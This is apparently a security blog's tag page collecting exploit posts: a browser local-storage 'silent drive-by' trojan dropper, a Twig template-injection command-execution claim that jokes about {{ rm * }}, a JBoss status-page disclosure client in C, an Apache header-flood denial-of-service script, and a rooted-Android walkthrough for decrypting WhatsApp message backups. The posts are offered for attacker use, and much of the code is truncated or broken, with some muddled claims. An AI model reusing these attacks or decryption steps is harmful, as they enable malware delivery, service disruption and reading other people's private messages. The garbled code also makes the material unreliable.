Posts Tagged


Browser Silent Exploitation (2018) POC

Since 2010 I was following the browser exploits of (Silent Java drive by) methods and techniques, and after 2016 I’ve never heard of another “silent drive by” on the Markets, but another critical thing came through, Browser Local storage.

This is a working example of a HTML/JavaScript browser storage exploitation.

As an example, to show how an attacker could force any PC system to download a executable file onto the system just directing the victim to visit a webpage no clicks needed.

Unlike the old Java Drive by methods which have been patched for many years, which used jar applets to allow VBS to execute on the local systems browser TMP folder.

This exploit works by using the browser Local Storage abilities, 90% of web browsers have built in Local Storage cache abilities which allow the them to store files onto the system and reference to these files later when re visiting the website. This allows the browser to reload images and video / SWF content of the website faster than it would normally load the content on the webpage by download.

Now when the victim re-visit a website on a browser with Local Storage cache enable by default it will load the website faster than it would loading from the first time. And the web browser will load the website resources from the local system rather than downloading them again.

What this means is when a site is coded to store its video or image data to the browsers Local Storage cache, the browser automatically downloads the file with no user input or knowledge to the end user this file is then stored on their PC.

trojan.exe = is a file the attacker wishes to have the PC download it by viewing the webpage.

extract.exe = the file that when run will extract trojan.exe from the browsers Local Storage cache and execute it.

The thing is for example Firefox stores this Local Storage cache in a SQL database format on the local HDD, It stores this data in such a way that the image files and video files are not directly on the system but rather there base64 encodings of the file are stored here as a database table value to load from later.

Here is where this exploit comes to play 🙂

With this POC example provided in my GitHub Repo you can see it uses simple CSS/JavaScript with html to store an exe file to the browser cache of any visitor to the webpage.

So, any user visiting this page will automatically download the trojan.exe onto their system no user input dialogs or notices the exe file is on their system as soon as page is done loading.

But the file is on their systems browser cache database which now needs to be extracted and ran on the system now that it is downloaded.

This is where the attacker send them the extract.exe

the Trojan.exe file is the file they must now run to have the Trojan.exe downloaded from viewing the webpage be extracted and ran on the system.

The extract.exe as of version 1.0 is only designed to work in this POC.

The extract.exe DOES NOT download any file it makes no internet connection at all – It simply extracts and runs the file that was silently downloaded and placed onto the system from the website viewing.

The advantages of using this method is that the attacker can indeed force any system viewing any site to download the file just by viewing the webpage. This makes the download ad placement of the file onto their system extremely undetectable AT ALL.

This would also allow attackers to force the file onto victim’s system even if they have a strict firewall in place.

POC contents:

Exploit.js = a java script file that will download the virus silently into the system.

Trojan.exe = example of a cmd trojan that will be downloaded.

index.html = a web page that has the malicious content.

Extract.exe = a file to translate the base 64 code and extract it from the browser storage.


Zero Day Twig PHP template engine

Twig is a modern template engine for PHP, its flexible, fast, and secure template engine for PHP.If you have any exposure to other text-based template languages, such as Smarty, Django, or Jinja, you should feel right at home with Twig. It’s both designer and developer friendly by sticking to PHP’s principles and adding functionality useful for templating environments.

ExploitDB link:

Well, Twig {Latest version} is affected to Server-Side Template Injection and {{Command execution}}.


Twig <=2.4.4 contain SSTI vulnerability which allow attackers to execute commands within the Parameters, by just using {{COMAND TO EXECUTE}} instead of using the expected values “Normal integer or normal string”, depends on the vulnerable application, which takes deferent params by GET or POST.


Example: by injecting this in a search param http://localhost/search?search_key={{4*4}} >        Output: 16

2. POC:



OUTPUT: list of files/directories etc….

See the screenshot bellow how its executing the command and printing out the results, this could be also {{ rm * }} which will delete the entire application 🙂

JBoss sensitive information disclosure vulnerability

By requesting the Status File with full param and setting its value to true, Jobss will print a sensitive information such as Memory used/Total Memory / Client IP address. Example: http://127.0.01/status?full=true

ExploitDB Link:

Proof of Concept

//  main.c
//  jobss information disclosure POC
//  Created by JameelNabbo  on 2/8/18.
//  Website
//  LAB
//  CopyRight © 2018 Jameel Nabbo. All rights reserved.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

int socket_connect(char *host, in_port_t port){
    struct hostent *hp;
    struct sockaddr_in addr;
    int on = 1, sock;
    if((hp = gethostbyname(host)) == NULL){
    bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;
    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
    if(sock == -1){
    if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
    return sock;

#define BUFFER_SIZE 1024

int main(int argc, char *argv[]){
    int fd;
    char buffer[BUFFER_SIZE];
    if(argc < 3){
        fprintf(stderr, "Usage: %s <hostname> <port>\n", argv[0]);
    fd = socket_connect(argv[1], atoi(argv[2]));
    write(fd, "GET /status?full=true\r\n", strlen("GET /status?full=true\r\n")); // write(fd, char[]*, len);
    while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
         fprintf(stderr, "%s", buffer);

    shutdown(fd, SHUT_RDWR);
    return 0;

Update to version 4.2.3 or later

Apache 2.2X denial of service HTTP header request

1. Description

Sending a crafted http header request that contain a dump shellcode in Cookie PARAM will result in printing 400 Bad request and the dump code, apache will display a message (Size of a request header field exceeds server limit) and will take sometime to handle the request,
Sending multiple requests will results in denial of service.

2. Proof of Concept

//Our function that send http requests to the target host
function httpGet(target)

	var dumpShellCode = "0x30, 0x53, 0x76, 0x99, 0xbc, 0xd7, 0x2, 0x34," 
    + "0x39, 0x5e, 0x7b, 0xc8, 0xbd, 0xfa, 0xff, 0x5b,"
    + "0xa2, 0xe7, 0xa, 0x2d, 0x38, 0x51, 0x40, 0x62, "
    + "0xab, 0xd0, 0xf9, 0x6, 0x2f, 0x4c, 0x6d, 0x89, "
    + "0x14, 0x77, 0x5a, 0xbd, 0x68, 0x93, 0x6e, 0xd0,"
    + "0x1d, 0xd2, 0x5f, 0x6c, 0x59, 0x98, 0xf2, 0xd5,"
    + "0x68, 0x69, 0x50, 0x93, 0xa2, 0x7d, 0xbc, 0x1e,"
    + "0xf, 0x64, 0x3d, 0xaa, 0x8b, 0xe8, 0xc9, 0x25, "
    + "0x78, 0x1b, 0x3e, 0xe1, 0x84, 0x9f, 0x4a, 0x7c," 
    + "0x31, 0xf8, 0x1, 0xae, 0x57, 0x52, 0x77, 0x13, "
    + "0xea, 0x8d, 0x94, 0x17, 0x6e, 0xf9, 0x88, 0x2a,"
    + "0xe3, 0x88, 0xb1, 0x3e, 0x67, 0x4, 0x25, 0xc1, "
    + "0x5c, 0x3f, 0xe2, 0xc5, 0xb0, 0x75, 0x59, 0x36," 
    + "0xf7, 0xea, 0xd7, 0xe4, 0x91, 0x6e, 0x53, 0x2f," 
    + "0x4e, 0x11, 0xf8, 0xdb, 0xaa, 0x85, 0x84, 0x66,"
    + "0x47, 0x1c, 0xf5, 0xe2, 0xc3, 0xa0, 0x81, 0x7d," 
    + "0xa0, 0xe5, 0xc, 0x2f, 0x46, 0x47, 0x72, 0xa4, "
    + "0xa9, 0xce, 0xeb, 0x38, 0x2d, 0x6a, 0x6f, 0xcb,"
    + "0xb2, 0xd5, 0xfc, 0x1f, 0x36, 0x61, 0xd0, 0xf2," 
    + "0xbb, 0xe0, 0x49, 0x56, 0x3f, 0xf6, 0x14, 0x37," 
    + "0xe6, 0xe7, 0xca, 0x2d, 0x18, 0x83, 0x5e, 0xc0," 
    + "0xa5";
	//HTTP Request Var 
    var xmlHttp = new XMLHttpRequest(); "GET", "/", false ); // false for synchronous request
    //Now filling the headers information

    //Apache will respond in bad request with the Cookie infomation indicating that apache can't handle the request since its exceed header field limit

    //sending the request
    xmlHttp.send( null );
    return xmlHttp.responseText;


3. Solution:

Update to version 2.4.29

4. Download POC:

Breaking down whatsapp encryption EXPLOIT

Breaking Down Whatsapp encryption EXPOIT.

In this article am going to explain in depth how you can decrypt Whatsapp messages.

First let’s talk about how Whatsapp store messages into your mobile device:

Your chats are being saved on your phone and not on the Whatsapp server. The only moment Whatsapp saves your message is the moment you send it. The message is being saved on Whatsapp servers until it can be delivered to the recieving phone. This might take a while when that phone is out reach of internet or is turned off.

If the message is on the Whatsapp server for more than 30 days it will be deleted from the server.

And Whatsapp store the messages inside (SD card>Whatsapp>Database folder)

msgstore.db.crypt12 -> this file contains all of your messages but it’s encrypted 🙂

Let’s get started into the fun stuff:

You can decrypt WhatsApp message backup file i.e. msgstore.db.crypt12. You can also decrypt the previous backup file with format crypt7, crypt5 etc….

Database file with name msgstore.db.crypt12. You can find this file in your Device storage.

Path:  Device Storage/WhatsApp/Databases/msgstore.db.crypt12

It is required to root your phone to find key otherwise you will get empty folder.

Key: Key file contains a decryption key which is essential to decrypt an encrypted file. Since WhatsApp saves this key in your system storage so you can find that file on following location. To open system folder you can use ES File Explorer. ES File Explorer File Manager – Android Apps on Google Play

WhatsApp backup conversation files are now saved with the .crypt12 extension. From crypt9, they seem to be using a modified version of Spongy Castle – a cryptography API library for Android.

All the findings below are based on reverse engineering work done on WhatCrypt and Omni-Crypt. I would like to highlight that IGLogger proved to be a very useful tool when it came to smali code debugging.

Extract Key File

To decrypt the crypt12 files, you will first need the key file. The key file stores the encryption key, K. WhatsApp stores the key file in a secure location: /data/data/com.whatsapp/files/key.

If your phone is rooted, extracting this file is easy. If your phone is not rooted, refer to instructions from WhatCrypt and Omni-Crypt for details on extracting the key file. The idea is to install an older version of WhatsApp, where Android ADB backup was still working and extract the key file from the backup.

Extract crypt12 Backup File

Pull the encrypted WhatsApp messages file from your phone using ADB.

$ adb pull /sdcard/WhatsApp/Databases/msgstore.db.crypt12

Decryption Keys

This section is just for your information and you can skip this section.

The encryption method being used is AES with a key (K) length of 256 bits and an initialization vector (IV) size of 128 bits. The 256-bit AES key is saved from offset 0x7E till 0x9D in the file. Offsets start from 0x00. You can extract the AES key with hexdump and assign the value to variable $k.

$ k=$(hexdump -ve '2/1 "%02x"' key | cut -b 253-316)

The $k variable will hold a 64-digit hexadecimal value in ASCII that is actually 256 bits in length.

The IV or the initialisation vector is saved from offset 0x33 till 0x42 in the crypt12 file. The IV value will be different for every crypt12 file.

$ iv=$(hexdump -n 67 -ve '2/1 "%02x"' msgstore.db.crypt12 | cut -b 103-134)

The K and IV extraction method is similar to what we have done for crypt8 files before.

Strip Header / Footer in crypt12 File

Again, this section is just for your information and you can skip this section.

Before we start the decryption process, we will need to strip the 67 byte header and 20 byte footer from the crypt12 file.

$ dd if=msgstore.db.crypt12 of=msgstore.db.crypt12.enc ibs=67 skip=1

$ truncate -s -20 msgstore.db.crypt12.enc

The above dd command will strip the the first 67 bytes from the crypt12 file and save it to a file with extension crypt12.enc. The truncate command will strip the last 20 bytes from the crypt12 file.

Decrypt THE crypt12 File

As the WhatsApp AES cryptography API library seems to be a modified version, we will no longer be able to use openssl to decrypt the crypt12 file. I have yet to determine what has been modified.

To decrypt crypt12 files, I have written a simple Java program that will use the modified cryptography API library instead. For the cryptography API library, I have extracted the modified Spongy Castle cryptography class files from the Omni-Crypt APK file using dex2jar. You can find the Java program and crypto library over here at GitHub.

The Java program will create 3 output files:

  • msgstore.db.crypt12.enc – encrypted file with header and footer stripped.
  • msgstore.db.zlib – decrypted file in zlib format.
  • msgstore.db – decrypted sqlite3 database file.

Below is how you can compile and run the Java program.

$ git clone
$ cd WhatsappDecryption/
$ javac -classpath "lib/whatsapp_spongycastle.jar:."
$ cp ../ .
$ cp ../ .
$ java -cp "lib/whatsapp_spongycastle.jar:." WTDecrypt



creating encrypted file with header/footer stripped: msgstore.db.crypt12.enc

creating zlib output file: msgstore.db.zlib

creating sqlite3 output file: msgstore.db

$ ls -l

total 136724

-rw-r--r-- 1 Jameel ************* WTDecrypt.class

-rw-r--r-- 1 Jameel *************

-rw-r--r-- 1 Jameel ************* key

drwxr-xr-x 2 Jameel ************* lib

-rw-r--r-- 1 Jameel ************* LICENSE

-rw-r--r-- 1 Jameel ************* msgstore.db

-rw-r--r-- 1 Jameel ************* msgstore.db.crypt12

-rw-r--r-- 1 Jameel *************  msgstore.db.crypt12.enc

-rw-r--r-- 1 Jameel ************* msgstore.db.zlib

-rw-r--r-- 1 Jameel *************

$ file *

WTDecrypt.class:           compiled Java class data, version 52.0 (Java 1.8)            C source, ASCII text

key:                     Java serialization data, version 5

lib:                     directory

msgstore.db:             SQLite 3.x database, user version 1

msgstore.db.crypt12:     raw G3 data, byte-padded

msgstore.db.crypt12.enc: data

msgstore.db.zlib:        zlib compressed data

Final Words

To use the Java decryption tool, you will need to use OpenJDK. Oracle require JCE Provider libraries to be signed. OpenJDK does not have this requirement. If you try running the Java program on Oracle JDK, you will most likely get the following exception.


Have fun 🙂